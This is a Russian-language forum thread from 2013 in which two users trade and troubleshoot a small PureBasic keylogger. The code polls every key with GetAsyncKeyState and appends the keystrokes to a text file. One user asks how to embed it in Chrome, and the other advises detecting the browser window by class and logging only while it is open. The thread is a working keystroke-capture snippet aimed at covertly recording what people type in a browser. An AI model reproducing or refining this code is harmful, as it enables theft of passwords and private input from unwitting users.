12.06.2013 / 22:58 | |
JUST_EVIL Пользователь Сейчас: Offline
Регистрация: 30.04.2011
| Virus-ON, завтра
|
13.06.2013 / 08:21 | |
JUST_EVIL Пользователь Сейчас: Offline
Регистрация: 30.04.2011
| Вот, нашел такой код: If OpenFile(0,"текст.txt")
FileSeek(0,Lof(00))
Repeat
Delay(10)
For r=4 To 255 ;0..4 - системные бипперы - нафиг не надо
If GetAsyncKeyState_(r)=-32767 ; эта цифирька означает, что это нажата последняя клавиша чтоб без повторов, с повторами
WriteByte(0,r)
FlushFileBuffers(0)
EndIf
Next r
Until GetAsyncKeyState_(#PB_Shortcut_Escape)
CloseFile(0)
EndIf
End
Еще не проверял. |
13.06.2013 / 08:29 | |
Virus-ON Пользователь Сейчас: Offline
Имя: Макс Откуда: Чернигов Регистрация: 13.10.2011
| JUST_EVIL, а я немного не понял как встроить это в фрейм того же хрома
|
13.06.2013 / 08:34 | |
JUST_EVIL Пользователь Сейчас: Offline
Регистрация: 30.04.2011
| Virus-ON, его встраивать не надо. Сделай поиск по окну(в полезных кодах есть код с для нахождения WindowsClass) и если окно есть, пиши файл. Я то могу его за тебя написать, но это уже будет моя программа))
Изменено JUST_EVIL (13.06 / 08:34) (всего 1 раз) |
13.06.2013 / 08:36 | |
Virus-ON Пользователь Сейчас: Offline
Имя: Макс Откуда: Чернигов Регистрация: 13.10.2011
| один минус. Код не работает. Проверил. Сразу завершается.
|
13.06.2013 / 08:37 | |
JUST_EVIL Пользователь Сейчас: Offline
Регистрация: 30.04.2011
| Virus-ON, а ну ка, проверим
|
13.06.2013 / 08:41 | |
JUST_EVIL Пользователь Сейчас: Offline
Регистрация: 30.04.2011
| Virus-ON, код работает, но почему то не пишет текстовый файлик, сейчас я его перепишу.
|
13.06.2013 / 08:41 | |
Virus-ON Пользователь Сейчас: Offline
Имя: Макс Откуда: Чернигов Регистрация: 13.10.2011
| у меня вообще ничего
|
13.06.2013 / 08:42 | |
Virus-ON Пользователь Сейчас: Offline
Имя: Макс Откуда: Чернигов Регистрация: 13.10.2011
| Могу даже видюшку снять |
13.06.2013 / 08:44 | |
JUST_EVIL Пользователь Сейчас: Offline
Регистрация: 30.04.2011
| Virus-ON, а вот это уже странно, он работает пока его принудительно не завершить.
|